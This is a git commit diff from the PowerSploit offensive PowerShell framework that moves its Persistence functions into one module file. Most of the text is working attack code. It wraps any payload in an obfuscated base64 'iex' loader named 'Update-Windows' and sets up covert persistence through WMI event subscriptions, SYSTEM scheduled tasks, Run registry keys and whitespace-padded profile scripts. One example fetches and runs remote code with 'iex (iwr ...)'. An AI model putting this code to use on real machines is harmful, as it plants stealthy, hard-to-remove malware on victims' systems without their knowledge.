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authormattifestation <mattgraeber@gmail.com>2014-02-23 10:35:50 -0500
committermattifestation <mattgraeber@gmail.com>2014-02-23 10:35:55 -0500
commit1df850208ee72efe58a7206100471b84d119fbf7 (patch)
tree3fb0f785c505eeef7d79de3025b54332153fd11c /Persistence
parentbbd382e52a131b3e876ee145d7abd834cdfb5d0c (diff)
downloadPowerSploit-1df850208ee72efe58a7206100471b84d119fbf7.tar.gz
PowerSploit-1df850208ee72efe58a7206100471b84d119fbf7.zip
Consolidated Persistence module functions into Persistence.psm1
It doesn't make sense to have these as separate ps1 files.
Diffstat (limited to 'Persistence')
-rw-r--r--Persistence/Add-Persistence.ps1400
-rw-r--r--Persistence/New-ElevatedPersistenceOption.ps1170
-rw-r--r--Persistence/New-UserPersistenceOption.ps1128
-rw-r--r--Persistence/Persistence.psd13
-rw-r--r--Persistence/Persistence.psm1703
5 files changed, 701 insertions, 703 deletions
diff --git a/Persistence/Add-Persistence.ps1 b/Persistence/Add-Persistence.ps1
deleted file mode 100644
index 6b0e2de..0000000
--- a/Persistence/Add-Persistence.ps1
+++ /dev/null
@@ -1,400 +0,0 @@
-function Add-Persistence
-{
-<#
-.SYNOPSIS
-
- Add persistence capabilities to a script.
-
- PowerSploit Function: Add-Persistence
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
- Optional Dependencies: None
-
-.DESCRIPTION
-
- Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
-
-.PARAMETER ScriptBlock
-
- Specifies a scriptblock containing your payload.
-
-.PARAMETER FilePath
-
- Specifies the path to your payload.
-
-.PARAMETER ElevatedPersistenceOption
-
- Specifies the trigger for the persistent payload if the target is running elevated.
- You must run New-ElevatedPersistenceOption to generate this argument.
-
-.PARAMETER UserPersistenceOption
-
- Specifies the trigger for the persistent payload if the target is not running elevated.
- You must run New-UserPersistenceOption to generate this argument.
-
-.PARAMETER PersistenceScriptName
-
- Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
-
-.PARAMETER DoNotPersistImmediately
-
- Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
-
-.PARAMETER PersistentScriptFilePath
-
- Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
-
-.PARAMETER RemovalScriptFilePath
-
- Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
-
-.PARAMETER PassThru
-
- Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
-
-.INPUTS
-
- None
-
- Add-Persistence cannot receive any input from the pipeline.
-
-.OUTPUTS
-
- System.Management.Automation.ScriptBlock
-
- If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
-
-.NOTES
-
- When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
-
-.EXAMPLE
-
- C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
- C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon
- C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
-
- Description
- -----------
- Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
-
-.EXAMPLE
-
- C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
- C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
- C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
- C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
-
- Description
- -----------
- Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
-
-.LINK
-
- http://www.exploit-monday.com
-#>
-
- [CmdletBinding()] Param (
- [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
- [ValidateNotNullOrEmpty()]
- [ScriptBlock]
- $ScriptBlock,
-
- [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
- [ValidateNotNullOrEmpty()]
- [Alias('Path')]
- [String]
- $FilePath,
-
- [Parameter( Mandatory = $True )]
- $ElevatedPersistenceOption,
-
- [Parameter( Mandatory = $True )]
- $UserPersistenceOption,
-
- [ValidateNotNullOrEmpty()]
- [String]
- $PersistenceScriptName = 'Update-Windows',
-
- [ValidateNotNullOrEmpty()]
- [String]
- $PersistentScriptFilePath = "$PWD\Persistence.ps1",
-
- [ValidateNotNullOrEmpty()]
- [String]
- $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1",
-
- [Switch]
- $DoNotPersistImmediately,
-
- [Switch]
- $PassThru
- )
-
- Set-StrictMode -Version 2
-
-#region Validate arguments
-
- if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
- {
- throw 'You provided invalid elevated persistence options.'
- }
-
- if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
- {
- throw 'You provided invalid user-level persistence options.'
- }
-
- $Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop
- $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
- $PersistentScriptFile = ''
- $RemovalScriptFile = ''
-
- if ($Path -eq '')
- {
- $PersistentScriptFile = "$($PWD)\$($Leaf)"
- }
- else
- {
- $PersistentScriptFile = "$($Path)\$($Leaf)"
- }
-
- $Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop
- $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
- if ($Path -eq '')
- {
- $RemovalScriptFile = "$($PWD)\$($Leaf)"
- }
- else
- {
- $RemovalScriptFile = "$($Path)\$($Leaf)"
- }
-
- if ($PSBoundParameters['FilePath'])
- {
- Get-ChildItem $FilePath -ErrorAction Stop
- $Script = [IO.File]::ReadAllText((Resolve-Path $Path))
- }
- else
- {
- $Script = $ScriptBlock
- }
-
-#endregion
-
-#region Initialize data
-
- $CompressedScript = ''
- $UserTrigger = ''
- $UserTriggerRemoval = ''
- $ElevatedTrigger = "''"
- $ElevatedTriggerRemoval = ''
- $UserTrigger = "''"
- $UserTriggerRemoval = ''
- $CommandLine = ''
-
-#endregion
-
-#region Compress the original payload in preparation for the persistence script
-
- $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
- $CompressedStream = New-Object IO.MemoryStream
- $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
- $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
- $DeflateStream.Dispose()
- $CompressedScriptBytes = $CompressedStream.ToArray()
- $CompressedStream.Dispose()
- $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
-
- # Generate the code that will decompress and execute the payload.
- # This code is intentionally ugly to save space.
- $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
-
-#endregion
-
-#region Process persistence options
-
- # Begin processing elevated persistence options
- switch ($ElevatedPersistenceOption.Method)
- {
- 'PermanentWMI'
- {
- $ElevatedTriggerRemoval = {
-Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
-Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
-Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
- }
-
- switch ($ElevatedPersistenceOption.Trigger)
- {
- 'AtStartup'
- {
- $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
- }
-
- 'Daily'
- {
- $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
- }
-
- default
- {
- throw 'Invalid elevated persistence options provided!'
- }
- }
- }
-
- 'ScheduledTask'
- {
- $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
- $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
-
- switch ($ElevatedPersistenceOption.Trigger)
- {
- 'AtLogon'
- {
- $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
- }
-
- 'Daily'
- {
- $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
- }
-
- 'OnIdle'
- {
- $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
- }
-
- default
- {
- throw 'Invalid elevated persistence options provided!'
- }
- }
-
- $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
- }
-
- 'Registry'
- {
- $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
- $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
- $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
- $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
- }
-
- default
- {
- throw 'Invalid elevated persistence options provided!'
- }
- }
-
- # Begin processing user-level persistence options
- switch ($UserPersistenceOption.Method)
- {
- 'ScheduledTask'
- {
- $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
- $UserTriggerRemoval = "schtasks /Delete /TN Updater"
-
- switch ($UserPersistenceOption.Trigger)
- {
- 'Daily'
- {
- $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
- }
-
- 'OnIdle'
- {
- $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
- }
-
- default
- {
- throw 'Invalid user-level persistence options provided!'
- }
- }
-
- $UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
- }
-
- 'Registry'
- {
- $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
- $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
- $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
- $UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
- }
-
- default
- {
- throw 'Invalid user-level persistence options provided!'
- }
- }
-
-#endregion
-
-#region Original script with its persistence logic will reside here
-
-# This is intentionally ugly in the interest of saving space on the victim machine.
-$PersistantScript = {
-function FUNCTIONNAME{
-Param([Switch]$Persist)
-$ErrorActionPreference='SilentlyContinue'
-$Script={ORIGINALSCRIPT}
-if($Persist){
-if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
-{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
-else
-{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
-' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
-iex $Payload|Out-Null
-Write-Output $Payload}
-else
-{$Script.Invoke()}
-} EXECUTEFUNCTION
-
-}
-
- $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
- $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
- $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
- $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
-
- if ($DoNotPersistImmediately)
- {
- $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
- }
- else
- {
- $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist")
- }
-
-#endregion
-
-#region Generate final output
-
-# Generate the persistence removal script
-$PersistenceRemoval = @"
-# Execute the following to remove the elevated persistent payload
-$ElevatedTriggerRemoval
-# Execute the following to remove the user-level persistent payload
-$UserTriggerRemoval
-"@
-
-
- $PersistantScript | Out-File $PersistentScriptFile
- Write-Verbose "Persistence script written to $PersistentScriptFile"
-
- $PersistenceRemoval | Out-File $RemovalScriptFile
- Write-Verbose "Persistence removal script written to $RemovalScriptFile"
-
- if ($PassThru)
- {
- # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
- Write-Output ([ScriptBlock]::Create($PersistantScript))
- }
-
-#endregion
-}
diff --git a/Persistence/New-ElevatedPersistenceOption.ps1 b/Persistence/New-ElevatedPersistenceOption.ps1
deleted file mode 100644
index 42a2437..0000000
--- a/Persistence/New-ElevatedPersistenceOption.ps1
+++ /dev/null
@@ -1,170 +0,0 @@
-function New-ElevatedPersistenceOption
-{
-<#
-.SYNOPSIS
-
- Configure elevated persistence options for the Add-Persistence function.
-
- PowerSploit Function: New-ElevatedPersistenceOption
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
-
-.DESCRIPTION
-
- New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
-
-.PARAMETER PermanentWMI
-
- Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
-
- Detection Difficulty: Difficult
- Removal Difficulty: Difficult
- User Detectable? No
-
-.PARAMETER ScheduledTask
-
- Persist via a scheduled task.
-
- Detection Difficulty: Moderate
- Removal Difficulty: Moderate
- User Detectable? No
-
-.PARAMETER Registry
-
- Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
-
- Detection Difficulty: Easy
- Removal Difficulty: Easy
- User Detectable? Yes
-
-.PARAMETER AtLogon
-
- Starts the payload upon any user logon.
-
-.PARAMETER AtStartup
-
- Starts the payload within 240 and 325 seconds of computer startup.
-
-.PARAMETER OnIdle
-
- Starts the payload after one minute of idling.
-
-.PARAMETER Daily
-
- Starts the payload daily.
-
-.PARAMETER At
-
- Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
-
-.EXAMPLE
-
- C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
-
-.EXAMPLE
-
- C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
-
-.EXAMPLE
-
- C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
-
-.LINK
-
- http://www.exploit-monday.com
-#>
-
- [CmdletBinding()] Param (
- [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
- [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
- [Switch]
- $PermanentWMI,
-
- [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
- [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
- [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
- [Switch]
- $ScheduledTask,
-
- [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
- [Switch]
- $Registry,
-
- [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
- [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
- [Switch]
- $Daily,
-
- [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
- [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
- [DateTime]
- $At,
-
- [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
- [Switch]
- $OnIdle,
-
- [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
- [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
- [Switch]
- $AtLogon,
-
- [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
- [Switch]
- $AtStartup
- )
-
- $PersistenceOptionsTable = @{
- Method = ''
- Trigger = ''
- Time = ''
- }
-
- switch ($PSCmdlet.ParameterSetName)
- {
- 'PermanentWMIAtStartup'
- {
- $PersistenceOptionsTable['Method'] = 'PermanentWMI'
- $PersistenceOptionsTable['Trigger'] = 'AtStartup'
- }
-
- 'PermanentWMIDaily'
- {
- $PersistenceOptionsTable['Method'] = 'PermanentWMI'
- $PersistenceOptionsTable['Trigger'] = 'Daily'
- $PersistenceOptionsTable['Time'] = $At
- }
-
- 'ScheduledTaskAtLogon'
- {
- $PersistenceOptionsTable['Method'] = 'ScheduledTask'
- $PersistenceOptionsTable['Trigger'] = 'AtLogon'
- }
-
- 'ScheduledTaskOnIdle'
- {
- $PersistenceOptionsTable['Method'] = 'ScheduledTask'
- $PersistenceOptionsTable['Trigger'] = 'OnIdle'
- }
-
- 'ScheduledTaskDaily'
- {
- $PersistenceOptionsTable['Method'] = 'ScheduledTask'
- $PersistenceOptionsTable['Trigger'] = 'Daily'
- $PersistenceOptionsTable['Time'] = $At
- }
-
- 'Registry'
- {
- $PersistenceOptionsTable['Method'] = 'Registry'
- $PersistenceOptionsTable['Trigger'] = 'AtLogon'
- }
- }
-
- $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
- $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOption'
-
- Write-Output $PersistenceOptions
-}
diff --git a/Persistence/New-UserPersistenceOption.ps1 b/Persistence/New-UserPersistenceOption.ps1
deleted file mode 100644
index 38ef72d..0000000
--- a/Persistence/New-UserPersistenceOption.ps1
+++ /dev/null
@@ -1,128 +0,0 @@
-function New-UserPersistenceOption
-{
-<#
-.SYNOPSIS
-
- Configure user-level persistence options for the Add-Persistence function.
-
- PowerSploit Function: New-UserPersistenceOption
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
-
-.DESCRIPTION
-
- New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
-
-.PARAMETER ScheduledTask
-
- Persist via a scheduled task.
-
- Detection Difficulty: Moderate
- Removal Difficulty: Moderate
- User Detectable? No
-
-.PARAMETER Registry
-
- Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
-
- Detection Difficulty: Easy
- Removal Difficulty: Easy
- User Detectable? Yes
-
-.PARAMETER AtLogon
-
- Starts the payload upon any user logon.
-
-.PARAMETER OnIdle
-
- Starts the payload after one minute of idling.
-
-.PARAMETER Daily
-
- Starts the payload daily.
-
-.PARAMETER At
-
- Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
-
-.EXAMPLE
-
- C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon
-
-.EXAMPLE
-
- C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
-
-.LINK
-
- http://www.exploit-monday.com
-#>
-
- [CmdletBinding()] Param (
- [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
- [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
- [Switch]
- $ScheduledTask,
-
- [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
- [Switch]
- $Registry,
-
- [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
- [Switch]
- $Daily,
-
- [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
- [DateTime]
- $At,
-
- [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
- [Switch]
- $OnIdle,
-
- [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
- [Switch]
- $AtLogon
- )
-
- $PersistenceOptionsTable = @{
- Method = ''
- Trigger = ''
- Time = ''
- }
-
- switch ($PSCmdlet.ParameterSetName)
- {
- 'ScheduledTaskAtLogon'
- {
- $PersistenceOptionsTable['Method'] = 'ScheduledTask'
- $PersistenceOptionsTable['Trigger'] = 'AtLogon'
- }
-
- 'ScheduledTaskOnIdle'
- {
- $PersistenceOptionsTable['Method'] = 'ScheduledTask'
- $PersistenceOptionsTable['Trigger'] = 'OnIdle'
- }
-
- 'ScheduledTaskDaily'
- {
- $PersistenceOptionsTable['Method'] = 'ScheduledTask'
- $PersistenceOptionsTable['Trigger'] = 'Daily'
- $PersistenceOptionsTable['Time'] = $At
- }
-
- 'Registry'
- {
- $PersistenceOptionsTable['Method'] = 'Registry'
- $PersistenceOptionsTable['Trigger'] = 'AtLogon'
- }
- }
-
- $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
- $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOption'
-
- Write-Output $PersistenceOptions
-}
diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1
index c793c69..b2fa69f 100644
--- a/Persistence/Persistence.psd1
+++ b/Persistence/Persistence.psd1
@@ -31,7 +31,6 @@ CmdletsToExport = '*'
ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'})
# List of all files packaged with this module
-FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOption.ps1',
- 'New-UserPersistenceOption.ps1', 'Usage.md'
+FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'
}
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1
index 04f36be..d0545d6 100644
--- a/Persistence/Persistence.psm1
+++ b/Persistence/Persistence.psm1
@@ -1,3 +1,700 @@
-. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1)
-. (Join-Path $PSScriptRoot New-UserPersistenceOptions.ps1)
-. (Join-Path $PSScriptRoot Add-Persistence.ps1)
+function New-ElevatedPersistenceOption
+{
+<#
+.SYNOPSIS
+
+ Configure elevated persistence options for the Add-Persistence function.
+
+ PowerSploit Function: New-ElevatedPersistenceOption
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
+
+.PARAMETER PermanentWMI
+
+ Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
+
+ Detection Difficulty: Difficult
+ Removal Difficulty: Difficult
+ User Detectable? No
+
+.PARAMETER ScheduledTask
+
+ Persist via a scheduled task.
+
+ Detection Difficulty: Moderate
+ Removal Difficulty: Moderate
+ User Detectable? No
+
+.PARAMETER Registry
+
+ Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
+
+ Detection Difficulty: Easy
+ Removal Difficulty: Easy
+ User Detectable? Yes
+
+.PARAMETER AtLogon
+
+ Starts the payload upon any user logon.
+
+.PARAMETER AtStartup
+
+ Starts the payload within 240 and 325 seconds of computer startup.
+
+.PARAMETER OnIdle
+
+ Starts the payload after one minute of idling.
+
+.PARAMETER Daily
+
+ Starts the payload daily.
+
+.PARAMETER At
+
+ Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
+
+.EXAMPLE
+
+ C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
+
+.EXAMPLE
+
+ C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
+
+.EXAMPLE
+
+ C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
+
+.LINK
+
+ http://www.exploit-monday.com
+#>
+
+ [CmdletBinding()] Param (
+ [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
+ [Switch]
+ $PermanentWMI,
+
+ [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
+ [Switch]
+ $ScheduledTask,
+
+ [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
+ [Switch]
+ $Registry,
+
+ [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [Switch]
+ $Daily,
+
+ [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [DateTime]
+ $At,
+
+ [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
+ [Switch]
+ $OnIdle,
+
+ [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
+ [Switch]
+ $AtLogon,
+
+ [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
+ [Switch]
+ $AtStartup
+ )
+
+ $PersistenceOptionsTable = @{
+ Method = ''
+ Trigger = ''
+ Time = ''
+ }
+
+ switch ($PSCmdlet.ParameterSetName)
+ {
+ 'PermanentWMIAtStartup'
+ {
+ $PersistenceOptionsTable['Method'] = 'PermanentWMI'
+ $PersistenceOptionsTable['Trigger'] = 'AtStartup'
+ }
+
+ 'PermanentWMIDaily'
+ {
+ $PersistenceOptionsTable['Method'] = 'PermanentWMI'
+ $PersistenceOptionsTable['Trigger'] = 'Daily'
+ $PersistenceOptionsTable['Time'] = $At
+ }
+
+ 'ScheduledTaskAtLogon'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'AtLogon'
+ }
+
+ 'ScheduledTaskOnIdle'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'OnIdle'
+ }
+
+ 'ScheduledTaskDaily'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'Daily'
+ $PersistenceOptionsTable['Time'] = $At
+ }
+
+ 'Registry'
+ {
+ $PersistenceOptionsTable['Method'] = 'Registry'
+ $PersistenceOptionsTable['Trigger'] = 'AtLogon'
+ }
+ }
+
+ $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
